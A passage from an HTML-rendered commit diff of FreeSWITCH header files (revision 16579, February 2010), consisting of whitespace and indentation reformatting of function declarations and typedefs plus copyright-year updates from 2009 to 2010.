-SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_read_impl(switch_core_session_t *session,  switch_codec_implementation_t *impp);
-SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_write_impl(switch_core_session_t *session,  switch_codec_implementation_t *impp);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_get_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> /*! 
</span><span class="lines">@@ -1636,8 +1641,7 @@
</span><span class="cx">   \param flags flags in/out for fine tuning
</span><span class="cx">   \return SWITCH_STATUS_SUCCESS with len adjusted to the bytes written if successful
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_speech_read_tts(switch_speech_handle_t *sh,
-                                                                                                                        void *data, switch_size_t *datalen, switch_speech_flag_t *flags);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_speech_read_tts(switch_speech_handle_t *sh, void *data, switch_size_t *datalen, switch_speech_flag_t *flags);
</ins><span class="cx"> /*! 
</span><span class="cx">   \brief Close an open speech handle
</span><span class="cx">   \param sh the speech handle to close
</span><span class="lines">@@ -1907,7 +1911,7 @@
</span><span class="cx"> /*! 
</span><span class="cx">   \brief Launch a thread
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_thread_t *) switch_core_launch_thread(void *(SWITCH_THREAD_FUNC *func) (switch_thread_t *, void *), 
</del><ins>+SWITCH_DECLARE(switch_thread_t *) switch_core_launch_thread(void *(SWITCH_THREAD_FUNC * func) (switch_thread_t *, void *),
</ins><span class="cx">                                                                                                                         void *obj, switch_memory_pool_t *pool);
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="lines">@@ -1970,7 +1974,7 @@
</span><span class="cx"> SWITCH_DECLARE(int) switch_system(const char *cmd, switch_bool_t wait);
</span><span class="cx"> SWITCH_DECLARE(void) switch_cond_yield(switch_interval_time_t t);
</span><span class="cx"> SWITCH_DECLARE(void) switch_cond_next(void);
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_chat_send(const char *name, const char *proto, const char *from, const char *to, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_chat_send(const char *name, const char *proto, const char *from, const char *to,
</ins><span class="cx">                                                                                                           const char *subject, const char *body, const char *type, const char *hint);
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_preprocess_session(switch_core_session_t *session, const char *cmds);
</span><span class="lines">@@ -1982,51 +1986,51 @@
</span><span class="cx"> */
</span><span class="cx"> 
</span><span class="cx"> #define CACHE_DB_LEN 256
</span><del>-typedef enum {
-        CDF_INUSE = (1 &lt;&lt; 0)
-} cache_db_flag_t;
</del><ins>+         typedef enum {
+                 CDF_INUSE = (1 &lt;&lt; 0)
+         } cache_db_flag_t;
</ins><span class="cx"> 
</span><del>-typedef enum {
-        SCDB_TYPE_CORE_DB,
-        SCDB_TYPE_ODBC
-} switch_cache_db_handle_type_t;
</del><ins>+         typedef enum {
+                 SCDB_TYPE_CORE_DB,
+                 SCDB_TYPE_ODBC
+         } switch_cache_db_handle_type_t;
</ins><span class="cx"> 
</span><del>-typedef union {
-        switch_core_db_t *core_db_dbh;
-        switch_odbc_handle_t *odbc_dbh;        
-} switch_cache_db_native_handle_t;
</del><ins>+         typedef union {
+                 switch_core_db_t *core_db_dbh;
+                 switch_odbc_handle_t *odbc_dbh;
+         } switch_cache_db_native_handle_t;
</ins><span class="cx"> 
</span><del>-typedef struct {
-        char *db_path;
-} switch_cache_db_core_db_options_t;
</del><ins>+         typedef struct {
+                 char *db_path;
+         } switch_cache_db_core_db_options_t;
</ins><span class="cx"> 
</span><del>-typedef struct {
-        char *dsn;
-        char *user;
-        char *pass;
-} switch_cache_db_odbc_options_t;
</del><ins>+         typedef struct {
+                 char *dsn;
+                 char *user;
+                 char *pass;
+         } switch_cache_db_odbc_options_t;
</ins><span class="cx"> 
</span><del>-typedef union {
-        switch_cache_db_core_db_options_t core_db_options;
-        switch_cache_db_odbc_options_t odbc_options;
-} switch_cache_db_connection_options_t;
</del><ins>+         typedef union {
+                 switch_cache_db_core_db_options_t core_db_options;
+                 switch_cache_db_odbc_options_t odbc_options;
+         } switch_cache_db_connection_options_t;
</ins><span class="cx"> 
</span><del>-typedef struct {
-        char name[CACHE_DB_LEN];
-        switch_cache_db_handle_type_t type;
-        switch_cache_db_native_handle_t native_handle;
-        time_t last_used;
-        switch_mutex_t *mutex;
-        switch_mutex_t *io_mutex;
-        switch_memory_pool_t *pool;
-        int32_t flags;
-        unsigned long hash;
-        char creator[CACHE_DB_LEN];
-        char last_user[CACHE_DB_LEN];
-} switch_cache_db_handle_t;
</del><ins>+         typedef struct {
+                 char name[CACHE_DB_LEN];
+                 switch_cache_db_handle_type_t type;
+                 switch_cache_db_native_handle_t native_handle;
+                 time_t last_used;
+                 switch_mutex_t *mutex;
+                 switch_mutex_t *io_mutex;
+                 switch_memory_pool_t *pool;
+                 int32_t flags;
+                 unsigned long hash;
+                 char creator[CACHE_DB_LEN];
+                 char last_user[CACHE_DB_LEN];
+         } switch_cache_db_handle_t;
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-static inline const char *switch_cache_db_type_name(switch_cache_db_handle_type_t type)
</del><ins>+         static inline const char *switch_cache_db_type_name(switch_cache_db_handle_type_t type)
</ins><span class="cx"> {
</span><span class="cx">         const char *type_str = &quot;INVALID&quot;;
</span><span class="cx"> 
</span><span class="lines">@@ -2046,9 +2050,9 @@
</span><span class="cx">         return type_str;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(void) switch_cache_db_release_db_handle(switch_cache_db_handle_t **dbh);
-SWITCH_DECLARE(void) switch_cache_db_destroy_db_handle(switch_cache_db_handle_t **dbh);
-SWITCH_DECLARE(switch_status_t) _switch_cache_db_get_db_handle(switch_cache_db_handle_t **dbh, 
</del><ins>+SWITCH_DECLARE(void) switch_cache_db_release_db_handle(switch_cache_db_handle_t ** dbh);
+SWITCH_DECLARE(void) switch_cache_db_destroy_db_handle(switch_cache_db_handle_t ** dbh);
+SWITCH_DECLARE(switch_status_t) _switch_cache_db_get_db_handle(switch_cache_db_handle_t ** dbh,
</ins><span class="cx">                                                                                                                            switch_cache_db_handle_type_t type,
</span><span class="cx">                                                                                                                            switch_cache_db_connection_options_t *connection_options,
</span><span class="cx">                                                                                                                            const char *file, const char *func, int line);
</span><span class="lines">@@ -2056,14 +2060,14 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(char *) switch_cache_db_execute_sql2str(switch_cache_db_handle_t *dbh, char *sql, char *str, size_t len, char **err);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql(switch_cache_db_handle_t *dbh, char *sql, char **err);
</span><del>-SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql_callback(switch_cache_db_handle_t *dbh, const char *sql, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql_callback(switch_cache_db_handle_t *dbh, const char *sql,
</ins><span class="cx">                                                                                                                                          switch_core_db_callback_func_t callback, void *pdata, char **err);
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_cache_db_status(switch_stream_handle_t *stream);
</span><del>-SWITCH_DECLARE(switch_status_t) _switch_core_db_handle(switch_cache_db_handle_t **dbh, const char *file, const char *func, int line);
</del><ins>+SWITCH_DECLARE(switch_status_t) _switch_core_db_handle(switch_cache_db_handle_t ** dbh, const char *file, const char *func, int line);
</ins><span class="cx"> #define switch_core_db_handle(_a) _switch_core_db_handle(_a, __FILE__, __SWITCH_FUNC__, __LINE__)
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_bool_t) switch_cache_db_test_reactive(switch_cache_db_handle_t *db, 
</del><ins>+SWITCH_DECLARE(switch_bool_t) switch_cache_db_test_reactive(switch_cache_db_handle_t *db,
</ins><span class="cx">                                                                                                                         const char *test_sql, const char *drop_sql, const char *reactive_sql);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_cache_db_persistant_execute(switch_cache_db_handle_t *dbh, const char *sql, uint32_t retries);
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_cache_db_persistant_execute_trans(switch_cache_db_handle_t *dbh, char *sql, uint32_t retries);
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_core_dbh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_core_db.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_core_db.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_core_db.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_core_event_hookh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_core_event_hook.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_core_event_hook.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_core_event_hook.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -47,7 +47,7 @@
</span><span class="cx"> typedef struct switch_io_event_hook_state_change switch_io_event_hook_state_change_t;
</span><span class="cx"> typedef struct switch_io_event_hook_resurrect_session switch_io_event_hook_resurrect_session_t;
</span><span class="cx"> typedef switch_status_t (*switch_outgoing_channel_hook_t)
</span><del>-                               (switch_core_session_t *, switch_event_t *, switch_caller_profile_t *, switch_core_session_t *, switch_originate_flag_t);
</del><ins>+                (switch_core_session_t *, switch_event_t *, switch_caller_profile_t *, switch_core_session_t *, switch_originate_flag_t);
</ins><span class="cx"> typedef switch_status_t (*switch_receive_message_hook_t) (switch_core_session_t *, switch_core_session_message_t *);
</span><span class="cx"> typedef switch_status_t (*switch_receive_event_hook_t) (switch_core_session_t *, switch_event_t *);
</span><span class="cx"> typedef switch_status_t (*switch_read_frame_hook_t) (switch_core_session_t *, switch_frame_t **, switch_io_flag_t, int);
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_dsoh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_dso.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_dso.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_dso.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -25,10 +25,10 @@
</span><span class="cx"> #ifdef WIN32
</span><span class="cx"> typedef HINSTANCE switch_dso_lib_t;
</span><span class="cx"> #else
</span><del>-typedef void * switch_dso_lib_t;
</del><ins>+typedef void *switch_dso_lib_t;
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-typedef void * switch_dso_data_t;
</del><ins>+typedef void *switch_dso_data_t;
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_dso_destroy(switch_dso_lib_t *lib);
</span><span class="cx"> SWITCH_DECLARE(switch_dso_lib_t) switch_dso_open(const char *path, int global, char **err);
</span><span class="lines">@@ -48,4 +48,3 @@
</span><span class="cx">  * For VIM:
</span><span class="cx">  * vim:set softtabstop=4 shiftwidth=4 tabstop=4
</span><span class="cx">  */
</span><del>-
</del></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_eventh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_event.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_event.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_event.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -237,7 +237,7 @@
</span><span class="cx">   \param node bind handle to later remove the binding.
</span><span class="cx">   \return SWITCH_STATUS_SUCCESS if the event was binded
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_event_bind_removable(const char *id, switch_event_types_t event, const char *subclass_name, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_event_bind_removable(const char *id, switch_event_types_t event, const char *subclass_name,
</ins><span class="cx">                                                                                                                         switch_event_callback_t callback, void *user_data, switch_event_node_t **node);
</span><span class="cx"> /*!
</span><span class="cx">   \brief Unbind a bound event consumer
</span><span class="lines">@@ -342,15 +342,16 @@
</span><span class="cx"> */
</span><span class="cx"> #define switch_event_create(event, id) switch_event_create_subclass(event, id, SWITCH_EVENT_SUBCLASS_ANY)
</span><span class="cx"> 
</span><del>-static inline switch_status_t switch_event_create_plain(switch_event_t **event, switch_event_types_t event_id)
</del><ins>+         static inline switch_status_t switch_event_create_plain(switch_event_t **event, switch_event_types_t event_id)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = switch_event_create(event, SWITCH_EVENT_CLONE);
</span><span class="cx">         if (status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 (*event)-&gt;event_id = event_id;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*!
</span><span class="cx">   \brief Deliver an event to all of the registered event listeners
</span><span class="cx">   \param event the event to send (will be nulled)
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_frameh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_frame.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_frame.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_frame.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -46,7 +46,7 @@
</span><span class="cx">         /*! the originating source of the frame */
</span><span class="cx">         const char *source;
</span><span class="cx">         /*! the raw packet */
</span><del>-        void *packet;        
</del><ins>+        void *packet;
</ins><span class="cx">         /*! the size of the raw packet when applicable */
</span><span class="cx">         uint32_t packetlen;
</span><span class="cx">         /*! the extra frame data */
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_ivrh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_ivr.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_ivr.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_ivr.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -123,7 +123,8 @@
</span><span class="cx">   \param timeout a timeout in milliseconds
</span><span class="cx">   \return SWITCH_STATUS_SUCCESS to keep the collection moving.
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_collect_digits_callback(switch_core_session_t *session, switch_input_args_t *args, uint32_t digit_timeout, uint32_t abs_timeout);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_collect_digits_callback(switch_core_session_t *session, switch_input_args_t *args, uint32_t digit_timeout,
+                                                                                                                                   uint32_t abs_timeout);
</ins><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="cx">   \brief Wait for specified number of DTMF digits, untile terminator is received or until the channel hangs up.
</span><span class="lines">@@ -304,7 +305,7 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_tone_detect_session(switch_core_session_t *session,
</span><span class="cx">                                                                                                                            const char *key, const char *tone_spec,
</span><del>-                                                                                                                           const char *flags, time_t timeout, int hits, 
</del><ins>+                                                                                                                           const char *flags, time_t timeout, int hits,
</ins><span class="cx">                                                                                                                            const char *app, const char *data, switch_tone_detect_callback_t callback);
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -321,7 +322,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_play_file(switch_core_session_t *session, switch_file_handle_t *fh, const char *file,
</span><span class="cx">                                                                                                          switch_input_args_t *args);
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_wait_for_silence(switch_core_session_t *session, uint32_t thresh, uint32_t silence_hits, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_wait_for_silence(switch_core_session_t *session, uint32_t thresh, uint32_t silence_hits,
</ins><span class="cx">                                                                                                                         uint32_t listen_hits, uint32_t timeout_ms, const char *file);
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_gentones(switch_core_session_t *session, const char *script, int32_t loops, switch_input_args_t *args);
</span><span class="lines">@@ -408,11 +409,8 @@
</span><span class="cx">                                                                                                          const switch_state_handler_table_t *table,
</span><span class="cx">                                                                                                          const char *cid_name_override,
</span><span class="cx">                                                                                                          const char *cid_num_override,
</span><del>-                                                                                                         switch_caller_profile_t *caller_profile_override, 
-                                                                                                         switch_event_t *ovars,
-                                                                                                         switch_originate_flag_t flags,
-                                                                                                         switch_call_cause_t *cancel_cause
-                                                                                                         );
</del><ins>+                                                                                                         switch_caller_profile_t *caller_profile_override,
+                                                                                                         switch_event_t *ovars, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_enterprise_originate(switch_core_session_t *session,
</span><span class="cx">                                                                                                                                 switch_core_session_t **bleg,
</span><span class="lines">@@ -422,10 +420,8 @@
</span><span class="cx">                                                                                                                                 const switch_state_handler_table_t *table,
</span><span class="cx">                                                                                                                                 const char *cid_name_override,
</span><span class="cx">                                                                                                                                 const char *cid_num_override,
</span><del>-                                                                                                                                switch_caller_profile_t *caller_profile_override, 
-                                                                                                                                switch_event_t *ovars,
-                                                                                                                                switch_originate_flag_t flags
-                                                                                                                                );
</del><ins>+                                                                                                                                switch_caller_profile_t *caller_profile_override,
+                                                                                                                                switch_event_t *ovars, switch_originate_flag_t flags);
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_ivr_bridge_display(switch_core_session_t *session, switch_core_session_t *peer_session);
</span><span class="cx"> 
</span><span class="lines">@@ -571,17 +567,17 @@
</span><span class="cx"> 
</span><span class="cx"> /******************************************************************************************************/
</span><span class="cx"> 
</span><del>-struct switch_ivr_digit_stream_parser;
-typedef struct switch_ivr_digit_stream_parser switch_ivr_digit_stream_parser_t;
-struct switch_ivr_digit_stream;
-typedef struct switch_ivr_digit_stream switch_ivr_digit_stream_t;
</del><ins>+         struct switch_ivr_digit_stream_parser;
+         typedef struct switch_ivr_digit_stream_parser switch_ivr_digit_stream_parser_t;
+         struct switch_ivr_digit_stream;
+         typedef struct switch_ivr_digit_stream switch_ivr_digit_stream_t;
</ins><span class="cx"> /*!
</span><span class="cx">   \brief Create a digit stream parser object
</span><span class="cx">   \param pool the pool to use for the new hash
</span><span class="cx">   \param parser a pointer to the object pointer
</span><span class="cx">   \return SWITCH_STATUS_SUCCESS if all is well 
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_parser_new(switch_memory_pool_t *pool, switch_ivr_digit_stream_parser_t **parser);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_parser_new(switch_memory_pool_t *pool, switch_ivr_digit_stream_parser_t ** parser);
</ins><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="cx">   \brief Destroy a digit stream parser object
</span><span class="lines">@@ -596,14 +592,14 @@
</span><span class="cx">   \param stream a pointer to the stream object pointer
</span><span class="cx">   \return NULL if no match found or consumer data that was associated with a given digit string when matched
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_new(switch_ivr_digit_stream_parser_t *parser, switch_ivr_digit_stream_t **stream);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_new(switch_ivr_digit_stream_parser_t *parser, switch_ivr_digit_stream_t ** stream);
</ins><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="cx">   \brief Destroys a digit stream object
</span><span class="cx">   \param stream a pointer to the stream object
</span><span class="cx">   \return NULL if no match found or consumer data that was associated with a given digit string when matched
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t **stream);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t ** stream);
</ins><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="cx">   \brief Set a digit string to action mapping
</span><span class="lines">@@ -660,25 +656,25 @@
</span><span class="cx">  * @{
</span><span class="cx">  */
</span><span class="cx"> 
</span><del>-typedef enum {
-        SWITCH_IVR_MENU_FLAG_FALLTOMAIN = (1 &lt;&lt; 0),
-        SWITCH_IVR_MENU_FLAG_FREEPOOL = (1 &lt;&lt; 1),
-        SWITCH_IVR_MENU_FLAG_STACK = (1 &lt;&lt; 2)
-} switch_ivr_menu_flags;
</del><ins>+         typedef enum {
+                 SWITCH_IVR_MENU_FLAG_FALLTOMAIN = (1 &lt;&lt; 0),
+                 SWITCH_IVR_MENU_FLAG_FREEPOOL = (1 &lt;&lt; 1),
+                 SWITCH_IVR_MENU_FLAG_STACK = (1 &lt;&lt; 2)
+         } switch_ivr_menu_flags;
</ins><span class="cx"> /* Actions are either set in switch_ivr_menu_bind_function or returned by a callback */
</span><del>-typedef enum {
-        SWITCH_IVR_ACTION_DIE,        /* Exit the menu.                  */
-        SWITCH_IVR_ACTION_EXECMENU,        /* Goto another menu in the stack. */
-        SWITCH_IVR_ACTION_EXECAPP,        /* Execute an application.         */
-        SWITCH_IVR_ACTION_PLAYSOUND,        /* Play a sound.                   */
-        SWITCH_IVR_ACTION_BACK,        /* Go back 1 menu.                 */
-        SWITCH_IVR_ACTION_TOMAIN,        /* Go back to the top level menu.  */
-        SWITCH_IVR_ACTION_NOOP        /* No operation                    */
-} switch_ivr_action_t;
-struct switch_ivr_menu;
-typedef switch_ivr_action_t switch_ivr_menu_action_function_t (struct switch_ivr_menu *, char *, char *, size_t, void *);
-typedef struct switch_ivr_menu switch_ivr_menu_t;
-typedef struct switch_ivr_menu_action switch_ivr_menu_action_t;
</del><ins>+         typedef enum {
+                 SWITCH_IVR_ACTION_DIE,        /* Exit the menu.                  */
+                 SWITCH_IVR_ACTION_EXECMENU,        /* Goto another menu in the stack. */
+                 SWITCH_IVR_ACTION_EXECAPP,        /* Execute an application.         */
+                 SWITCH_IVR_ACTION_PLAYSOUND,        /* Play a sound.                   */
+                 SWITCH_IVR_ACTION_BACK,        /* Go back 1 menu.                 */
+                 SWITCH_IVR_ACTION_TOMAIN,        /* Go back to the top level menu.  */
+                 SWITCH_IVR_ACTION_NOOP        /* No operation                    */
+         } switch_ivr_action_t;
+         struct switch_ivr_menu;
+         typedef switch_ivr_action_t switch_ivr_menu_action_function_t(struct switch_ivr_menu *, char *, char *, size_t, void *);
+         typedef struct switch_ivr_menu switch_ivr_menu_t;
+         typedef struct switch_ivr_menu_action switch_ivr_menu_action_t;
</ins><span class="cx"> /******************************************************************************************************/
</span><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="lines">@@ -703,7 +699,7 @@
</span><span class="cx">  *\return SWITCH_STATUS_SUCCESS if the menu was created.
</span><span class="cx">  */
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_init(switch_ivr_menu_t **new_menu,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_init(switch_ivr_menu_t ** new_menu,
</ins><span class="cx">                                                                                                          switch_ivr_menu_t *main,
</span><span class="cx">                                                                                                          const char *name,
</span><span class="cx">                                                                                                          const char *greeting_sound,
</span><span class="lines">@@ -715,7 +711,7 @@
</span><span class="cx">                                                                                                          const char *tts_engine,
</span><span class="cx">                                                                                                          const char *tts_voice,
</span><span class="cx">                                                                                                          int confirm_attempts,
</span><del>-                                                                                                         int inter_timeout, int digit_len, int timeout, int max_failures, 
</del><ins>+                                                                                                         int inter_timeout, int digit_len, int timeout, int max_failures,
</ins><span class="cx">                                                                                                          int max_timeouts, switch_memory_pool_t *pool);
</span><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="lines">@@ -726,8 +722,7 @@
</span><span class="cx">  *\param bind KeyStrokes to bind the action to.
</span><span class="cx">  *\return SWUTCH_STATUS_SUCCESS if the action was binded
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_action(switch_ivr_menu_t *menu, switch_ivr_action_t ivr_action, const char *arg,
-                                                                                                                        const char *bind);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_action(switch_ivr_menu_t *menu, switch_ivr_action_t ivr_action, const char *arg, const char *bind);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="lines">@@ -762,8 +757,8 @@
</span><span class="cx">  */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_free(switch_ivr_menu_t *stack);
</span><span class="cx"> 
</span><del>-struct switch_ivr_menu_xml_ctx;
-typedef struct switch_ivr_menu_xml_ctx switch_ivr_menu_xml_ctx_t;
</del><ins>+         struct switch_ivr_menu_xml_ctx;
+         typedef struct switch_ivr_menu_xml_ctx switch_ivr_menu_xml_ctx_t;
</ins><span class="cx"> /*!
</span><span class="cx">  *\brief Build a menu stack from an xml source
</span><span class="cx">  *\param xml_menu_ctx The XML menu parser context previously created by switch_ivr_menu_stack_xml_init
</span><span class="lines">@@ -773,7 +768,7 @@
</span><span class="cx">  *\return SWITCH_STATUS_SUCCESS if all is well
</span><span class="cx">  */
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_build(switch_ivr_menu_xml_ctx_t *xml_menu_ctx,
</span><del>-                                                                                                                                switch_ivr_menu_t **menu_stack, switch_xml_t xml_menus, switch_xml_t xml_menu);
</del><ins>+                                                                                                                                switch_ivr_menu_t ** menu_stack, switch_xml_t xml_menus, switch_xml_t xml_menu);
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_menu_str2action(const char *action_name, switch_ivr_action_t *action);
</span><span class="cx"> 
</span><span class="lines">@@ -791,7 +786,7 @@
</span><span class="cx">  *\param pool memory pool (NULL to create one)
</span><span class="cx">  *\return SWITCH_STATUS_SUCCESS if all is well
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_init(switch_ivr_menu_xml_ctx_t **xml_menu_ctx, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_init(switch_ivr_menu_xml_ctx_t ** xml_menu_ctx, switch_memory_pool_t *pool);
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_phrase_macro(switch_core_session_t *session, const char *macro_name, const char *data, const char *lang,
</span><span class="cx">                                                                                                                 switch_input_args_t *args);
</span><span class="lines">@@ -806,8 +801,7 @@
